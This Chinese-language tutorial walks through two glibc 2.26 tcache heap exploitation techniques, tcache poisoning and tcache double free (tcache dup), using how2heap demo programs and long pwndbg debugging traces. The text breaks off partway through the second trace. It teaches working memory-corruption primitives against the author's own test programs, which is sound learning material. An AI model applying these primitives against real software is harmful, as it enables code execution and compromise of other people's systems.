用图表示大概是：

tcache makes heap exploitation easy again

再复习一遍 tcache_get() 的源码

static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

可以发现 tcache_get() 获取 chunk 的安全检查非常少（对 tc_idx 的检测可以忽略），可以说几乎没有任何检查，因此各种利用方式在有 tcache 时利用步骤也大大简化了。

tcache poisoning

通过覆盖 tcache 中的 next，不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。

以 how2heap 中的 tcache_poisoning 为例

看一下源码

glibc_2.26 [master●] bat tcache_poisoning.c
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: tcache_poisoning.c
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ #include <stdio.h>
   2   │ #include <stdlib.h>
   3   │ #include <stdint.h>
   4   │ 
   5   │ int main()
   6   │ {
   7   │         fprintf(stderr, "This file demonstrates a simple tcache poisoning attack
       │  by tricking malloc into\n"
   8   │                "returning a pointer to an arbitrary location (in this case, the 
       │ stack).\n"
   9   │                "The attack is very similar to fastbin corruption attack.\n\n");
  10   │ 
  11   │         size_t stack_var;
  12   │         fprintf(stderr, "The address we want malloc() to return is %p.\n", (char
       │  *)&stack_var);
  13   │ 
  14   │         fprintf(stderr, "Allocating 1 buffer.\n");
  15   │         intptr_t *a = malloc(128);
  16   │         fprintf(stderr, "malloc(128): %p\n", a);
  17   │         fprintf(stderr, "Freeing the buffer...\n");
  18   │         free(a);
  19   │ 
  20   │         fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
  21   │         fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of t
       │ he data at %p\n"
  22   │                 "to point to the location to control (%p).\n", sizeof(intptr_t),
       │  a, &stack_var);
  23   │         a[0] = (intptr_t)&stack_var;
  24   │ 
  25   │         fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
  26   │         fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
  27   │ 
  28   │         intptr_t *b = malloc(128);
  29   │         fprintf(stderr, "2st malloc(128): %p\n", b);
  30   │         fprintf(stderr, "We got the control\n");
  31   │ 
  32   │         return 0;
  33   │ }
───────┴─────────────────────────────────────────────────────────────────────────────────

运行结果是

glibc_2.26 [master●] ./tcache_poisoning 
This file demonstrates a simple tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this case, the stack).
The attack is very similar to fastbin corruption attack.

The address we want malloc() to return is 0x7fff0d28a0c8.
Allocating 1 buffer.
malloc(128): 0x55f666ee1260
Freeing the buffer...
Now the tcache list has [ 0x55f666ee1260 ].
We overwrite the first 8 bytes (fd/next pointer) of the data at 0x55f666ee1260
to point to the location to control (0x7fff0d28a0c8).
1st malloc(128): 0x55f666ee1260
Now the tcache list has [ 0x7fff0d28a0c8 ].
2st malloc(128): 0x7fff0d28a0c8
We got the control

分析一下，程序先申请了一个大小是 128 的 chunk，然后 free。128 在 tcache 的范围内，因此 free 之后该 chunk 被放到了 tcache 中，调试如下：

pwndbg> 
0x0000555555554815	18		free(a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
......
 RDI  0x555555756260 ◂— 0x0
......
 RIP  0x555555554815 (main+187) ◂— call   0x555555554600
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
......
 ► 0x555555554815 <main+187>    call   free@plt <0x555555554600>
        ptr: 0x555555756260 ◂— 0x0
......
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
......
 ► 18 	free(a);
......
────────────────────────────────────────[ STACK ]────────────────────────────────────────
......
pwndbg> ni
20		fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7
 RDX  0x0
 RDI  0x1
 RSI  0x555555756010 ◂— 0x100000000000000
 R8   0x0
 R9   0x7fffffffb78c ◂— 0x1c00000000
 R10  0x911
 R11  0x7ffff7aa0ba0 (free) ◂— push   rbx
 R12  0x555555554650 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RIP  0x55555555481a (main+192) ◂— mov    rax, qword ptr [rip + 0x20083f]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
   0x555555554802 <main+168>    lea    rdi, [rip + 0x2bd]
   0x555555554809 <main+175>    call   fwrite@plt <0x555555554630>
 
   0x55555555480e <main+180>    mov    rax, qword ptr [rbp - 8]
   0x555555554812 <main+184>    mov    rdi, rax
   0x555555554815 <main+187>    call   free@plt <0x555555554600>
 
 ► 0x55555555481a <main+192>    mov    rax, qword ptr [rip + 0x20083f] <0x555555755060>
   0x555555554821 <main+199>    mov    rdx, qword ptr [rbp - 8]
   0x555555554825 <main+203>    lea    rsi, [rip + 0x2b4]
   0x55555555482c <main+210>    mov    rdi, rax
   0x55555555482f <main+213>    mov    eax, 0
   0x555555554834 <main+218>    call   fprintf@plt <0x555555554610>
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
   15 	intptr_t *a = malloc(128);
   16 	fprintf(stderr, "malloc(128): %p\n", a);
   17 	fprintf(stderr, "Freeing the buffer...\n");
   18 	free(a);
   19 
 ► 20 	fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
   21 	fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
   22 		"to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
   23 	a[0] = (intptr_t)&stack_var;
   24 
   25 	fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
02:0010│      0x7fffffffdfb0 —▸ 0x7fffffffe0a0 ◂— 0x1
03:0018│      0x7fffffffdfb8 —▸ 0x555555756260 ◂— 0x0
04:0020│ rbp  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffdfc8 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov    edi, eax
06:0030│      0x7fffffffdfd0 ◂— 0x0
07:0038│      0x7fffffffdfd8 —▸ 0x7fffffffe0a8 —▸ 0x7fffffffe3c6 ◂— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555557562e0 (size : 0x20d20) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7]: 0x555555756260
pwndbg> heapbase
heapbase : 0x555555756000
pwndbg> p *(struct tcache_perthread_struct*)0x555555756010
$3 = {
  counts = "\000\000\000\000\000\000\000\001", '\000' <repeats 55 times>,
  entries = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x555555756260, 0x0 <repeats 56 times>}
}

可以看到，此时第 8 条 tcache 链上已经有了一个 chunk，从 tcache_prethread_struct 结构体中也能得到同样的结论

然后修改 tcache 的 next

pwndbg> 
We overwrite the first 8 bytes (fd/next pointer) of the data at 0x555555756260
to point to the location to control (0x7fffffffdfa8).
23		a[0] = (intptr_t)&stack_var;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0x85
 RBX  0x0
 RCX  0x0
 RDX  0x7ffff7dd48b0 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x0
 RSI  0x7fffffffb900 ◂— 0x777265766f206557 ('We overw')
 R8   0x7ffff7fd14c0 ◂— 0x7ffff7fd14c0
 R9   0x7fffffffb78c ◂— 0x8500000000
 R10  0x0
 R11  0x246
 R12  0x555555554650 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RIP  0x555555554867 (main+269) ◂— lea    rdx, [rbp - 0x18]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
 ► 0x555555554867 <main+269>    lea    rdx, [rbp - 0x18] <0x7ffff7dd48b0>
   0x55555555486b <main+273>    mov    rax, qword ptr [rbp - 8]
   0x55555555486f <main+277>    mov    qword ptr [rax], rdx
   0x555555554872 <main+280>    mov    edi, 0x80
   0x555555554877 <main+285>    call   malloc@plt <0x555555554620>
 
   0x55555555487c <main+290>    mov    rdx, rax
   0x55555555487f <main+293>    mov    rax, qword ptr [rip + 0x2007da] <0x555555755060>
   0x555555554886 <main+300>    lea    rsi, [rip + 0x2eb]
   0x55555555488d <main+307>    mov    rdi, rax
   0x555555554890 <main+310>    mov    eax, 0
   0x555555554895 <main+315>    call   fprintf@plt <0x555555554610>
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
   18 	free(a);
   19 
   20 	fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
   21 	fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
   22 		"to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
 ► 23 	a[0] = (intptr_t)&stack_var;
   24 
   25 	fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
   26 	fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
   27 
   28 	intptr_t *b = malloc(128);
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
02:0010│      0x7fffffffdfb0 —▸ 0x7fffffffe0a0 ◂— 0x1
03:0018│      0x7fffffffdfb8 —▸ 0x555555756260 ◂— 0x0
04:0020│ rbp  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffdfc8 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov    edi, eax
06:0030│      0x7fffffffdfd0 ◂— 0x0
07:0038│      0x7fffffffdfd8 —▸ 0x7fffffffe0a8 —▸ 0x7fffffffe3c6 ◂— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555557562e0 (size : 0x20d20) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7]: 0x555555756260
pwndbg> n
25		fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0x555555756260 —▸ 0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
 RBX  0x0
 RCX  0x0
 RDX  0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
 RDI  0x0
 RSI  0x7fffffffb900 ◂— 0x777265766f206557 ('We overw')
 R8   0x7ffff7fd14c0 ◂— 0x7ffff7fd14c0
 R9   0x7fffffffb78c ◂— 0x8500000000
 R10  0x0
 R11  0x246
 R12  0x555555554650 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RIP  0x555555554872 (main+280) ◂— mov    edi, 0x80
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
   0x555555554867 <main+269>    lea    rdx, [rbp - 0x18]
   0x55555555486b <main+273>    mov    rax, qword ptr [rbp - 8]
   0x55555555486f <main+277>    mov    qword ptr [rax], rdx
 ► 0x555555554872 <main+280>    mov    edi, 0x80
   0x555555554877 <main+285>    call   malloc@plt <0x555555554620>
 
   0x55555555487c <main+290>    mov    rdx, rax
   0x55555555487f <main+293>    mov    rax, qword ptr [rip + 0x2007da] <0x555555755060>
   0x555555554886 <main+300>    lea    rsi, [rip + 0x2eb]
   0x55555555488d <main+307>    mov    rdi, rax
   0x555555554890 <main+310>    mov    eax, 0
   0x555555554895 <main+315>    call   fprintf@plt <0x555555554610>
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
   20 	fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
   21 	fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
   22 		"to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
   23 	a[0] = (intptr_t)&stack_var;
   24 
 ► 25 	fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
   26 	fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
   27 
   28 	intptr_t *b = malloc(128);
   29 	fprintf(stderr, "2st malloc(128): %p\n", b);
   30 	fprintf(stderr, "We got the control\n");
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
01:0008│ rdx  0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
02:0010│      0x7fffffffdfb0 —▸ 0x7fffffffe0a0 ◂— 0x1
03:0018│      0x7fffffffdfb8 —▸ 0x555555756260 —▸ 0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
04:0020│ rbp  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffdfc8 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov    edi, eax
06:0030│      0x7fffffffdfd0 ◂— 0x0
07:0038│      0x7fffffffdfd8 —▸ 0x7fffffffe0a8 —▸ 0x7fffffffe3c6 ◂— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555557562e0 (size : 0x20d20) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7]: 0x555555756260 --> 0x7fffffffdfa8 --> 0x555555554650

此时，第 8 条 tcache 链的 next 已经被改成栈上的地址了。接下来类似 fastbin attack，只需进行两次 malloc(128) 即可控制栈上的空间。

第一次 malloc

pwndbg> n
1st malloc(128): 0x555555756260
26		fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0x20
 RBX  0x0
 RCX  0x0
 RDX  0x7ffff7dd48b0 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x0
 RSI  0x7fffffffb900 ◂— 0x6c6c616d20747331 ('1st mall')
 R8   0x7ffff7fd14c0 ◂— 0x7ffff7fd14c0
 R9   0x7fffffffb78c ◂— 0x2000000000
 R10  0x0
 R11  0x246
 R12  0x555555554650 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RIP  0x55555555489a (main+320) ◂— mov    rax, qword ptr [rip + 0x2007bf]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
   0x55555555487f <main+293>    mov    rax, qword ptr [rip + 0x2007da] <0x555555755060>
   0x555555554886 <main+300>    lea    rsi, [rip + 0x2eb]
   0x55555555488d <main+307>    mov    rdi, rax
   0x555555554890 <main+310>    mov    eax, 0
   0x555555554895 <main+315>    call   fprintf@plt <0x555555554610>
 
 ► 0x55555555489a <main+320>    mov    rax, qword ptr [rip + 0x2007bf] <0x555555755060>
   0x5555555548a1 <main+327>    lea    rdx, [rbp - 0x18]
   0x5555555548a5 <main+331>    lea    rsi, [rip + 0x234]
   0x5555555548ac <main+338>    mov    rdi, rax
   0x5555555548af <main+341>    mov    eax, 0
   0x5555555548b4 <main+346>    call   fprintf@plt <0x555555554610>
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
   21 	fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
   22 		"to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
   23 	a[0] = (intptr_t)&stack_var;
   24 
   25 	fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
 ► 26 	fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
   27 
   28 	intptr_t *b = malloc(128);
   29 	fprintf(stderr, "2st malloc(128): %p\n", b);
   30 	fprintf(stderr, "We got the control\n");
   31 
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
02:0010│      0x7fffffffdfb0 —▸ 0x7fffffffe0a0 ◂— 0x1
03:0018│      0x7fffffffdfb8 —▸ 0x555555756260 —▸ 0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
04:0020│ rbp  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffdfc8 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov    edi, eax
06:0030│      0x7fffffffdfd0 ◂— 0x0
07:0038│      0x7fffffffdfd8 —▸ 0x7fffffffe0a8 —▸ 0x7fffffffe3c6 ◂— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555557562e0 (size : 0x20d20) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7]: 0x7fffffffdfa8 --> 0x555555554650

第二次 malloc，即可 malloc 栈上的地址了

pwndbg> heapinfo
3886144
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555557562e0 (size : 0x20d20) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7]: 0x7fffffffdfa8 --> 0x555555554650
pwndbg> ni
0x00005555555548c3	28		intptr_t *b = malloc(128);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
 RBX  0x0
 RCX  0x555555756010 ◂— 0xff00000000000000
 RDX  0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
 RDI  0x555555554650 (_start) ◂— xor    ebp, ebp
 RSI  0x555555756048 ◂— 0x0
 R8   0x7ffff7fd14c0 ◂— 0x7ffff7fd14c0
 R9   0x7fffffffb78c ◂— 0x2c00000000
 R10  0x0
 R11  0x246
 R12  0x555555554650 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
 RIP  0x5555555548c3 (main+361) ◂— mov    qword ptr [rbp - 0x10], rax
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
   0x5555555548ac <main+338>    mov    rdi, rax
   0x5555555548af <main+341>    mov    eax, 0
   0x5555555548b4 <main+346>    call   fprintf@plt <0x555555554610>
 
   0x5555555548b9 <main+351>    mov    edi, 0x80
   0x5555555548be <main+356>    call   malloc@plt <0x555555554620>
 
 ► 0x5555555548c3 <main+361>    mov    qword ptr [rbp - 0x10], rax
   0x5555555548c7 <main+365>    mov    rax, qword ptr [rip + 0x200792] <0x555555755060>
   0x5555555548ce <main+372>    mov    rdx, qword ptr [rbp - 0x10]
   0x5555555548d2 <main+376>    lea    rsi, [rip + 0x2b4]
   0x5555555548d9 <main+383>    mov    rdi, rax
   0x5555555548dc <main+386>    mov    eax, 0
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
   23 	a[0] = (intptr_t)&stack_var;
   24 
   25 	fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
   26 	fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
   27 
 ► 28 	intptr_t *b = malloc(128);
   29 	fprintf(stderr, "2st malloc(128): %p\n", b);
   30 	fprintf(stderr, "We got the control\n");
   31 
   32 	return 0;
   33 }
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp      0x7fffffffdfa0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
01:0008│ rax rdx  0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
02:0010│          0x7fffffffdfb0 —▸ 0x7fffffffe0a0 ◂— 0x1
03:0018│          0x7fffffffdfb8 —▸ 0x555555756260 —▸ 0x7fffffffdfa8 —▸ 0x555555554650 (_start) ◂— xor    ebp, ebp
04:0020│ rbp      0x7fffffffdfc0 —▸ 0x555555554910 (__libc_csu_init) ◂— push   r15
05:0028│          0x7fffffffdfc8 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov    edi, eax
06:0030│          0x7fffffffdfd0 ◂— 0x0
07:0038│          0x7fffffffdfd8 —▸ 0x7fffffffe0a8 —▸ 0x7fffffffe3c6 ◂— 0x346d2f656d6f682f ('/home/m4')
pwndbg> i r rax
rax            0x7fffffffdfa8	140737488347048

可以看出 tache posioning 这种方法和 fastbin attack 类似，但因为没有 size 的限制有了更大的利用范围。

tcache dup

类似 fastbin dup，不过利用的是 tcache_put() 的不严谨

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

可以看出，tcache_put() 的检查也可以忽略不计（甚至没有对 tcache->counts[tc_idx] 的检查），大幅提高性能的同时安全性也下降了很多。

因为没有任何检查，所以我们可以对同一个 chunk 多次 free，造成 cycliced list。

以 how2heap 的 tcache_dup 为例分析，源码如下：

glibc_2.26 [master●] bat ./tcache_dup.c 
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: ./tcache_dup.c
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ #include <stdio.h>
   2   │ #include <stdlib.h>
   3   │ 
   4   │ int main()
   5   │ {
   6   │         fprintf(stderr, "This file demonstrates a simple double-free attack with
       │  tcache.\n");
   7   │ 
   8   │         fprintf(stderr, "Allocating buffer.\n");
   9   │         int *a = malloc(8);
  10   │ 
  11   │         fprintf(stderr, "malloc(8): %p\n", a);
  12   │         fprintf(stderr, "Freeing twice...\n");
  13   │         free(a);
  14   │         free(a);
  15   │ 
  16   │         fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
  17   │         fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", ma
       │ lloc(8), malloc(8));
  18   │ 
  19   │         return 0;
  20   │ }
───────┴─────────────────────────────────────────────────────────────────────────────────

调试一下，第一次 free

pwndbg> n
14		free(a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x0
 RDX  0x0
 RDI  0x1
 RSI  0x555555756010 ◂— 0x1
 R8   0x0
 R9   0x7fffffffb79c ◂— 0x1a00000000
 R10  0x911
 R11  0x7ffff7aa0ba0 (free) ◂— push   rbx
 R12  0x555555554650 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0b0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfd0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdfb0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
 RIP  0x5555555547fc (main+162) ◂— mov    rax, qword ptr [rbp - 0x18]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
   0x5555555547e4 <main+138>    lea    rdi, [rip + 0x171]
   0x5555555547eb <main+145>    call   fwrite@plt <0x555555554630>
 
   0x5555555547f0 <main+150>    mov    rax, qword ptr [rbp - 0x18]
   0x5555555547f4 <main+154>    mov    rdi, rax
   0x5555555547f7 <main+157>    call   free@plt <0x555555554600>
 
 ► 0x5555555547fc <main+162>    mov    rax, qword ptr [rbp - 0x18]
   0x555555554800 <main+166>    mov    rdi, rax
   0x555555554803 <main+169>    call   free@plt <0x555555554600>
 
   0x555555554808 <main+174>    mov    rax, qword ptr [rip + 0x200851] <0x555555755060>
   0x55555555480f <main+181>    mov    rcx, qword ptr [rbp - 0x18]
   0x555555554813 <main+185>    mov    rdx, qword ptr [rbp - 0x18]
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
    9 	int *a = malloc(8);
   10 
   11 	fprintf(stderr, "malloc(8): %p\n", a);
   12 	fprintf(stderr, "Freeing twice...\n");
   13 	free(a);
 ► 14 	free(a);
   15 
   16 	fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
   17 	fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));
   18 
   19 	return 0;
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0x7fffffffdfb0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffdfb8 —▸ 0x555555756260 ◂— 0x0
02:0010│      0x7fffffffdfc0 —▸ 0x7fffffffe0b0 ◂— 0x1
03:0018│      0x7fffffffdfc8 ◂— 0x0
04:0020│ rbp  0x7fffffffdfd0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffdfd8 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov    edi, eax
06:0030│      0x7fffffffdfe0 ◂— 0x0
07:0038│      0x7fffffffdfe8 —▸ 0x7fffffffe0b8 —▸ 0x7fffffffe3d8 ◂— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555756270 (size : 0x20d90) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0]: 0x555555756260

tcache 的第一条链放入了一个 chunk

第二次 free 时，虽然 free 的是同一个 chunk，但因为 tcache_put() 没有做任何检查，因此程序不会 crash

pwndbg> n
16		fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x0
 RDX  0x555555756260 ◂— 0x555555756260 /* '`buUUU' */
 RDI  0x2
 RSI  0x555555756010 ◂— 0x2
 R8   0x1
 R9   0x7fffffffb79c ◂— 0x1a00000000
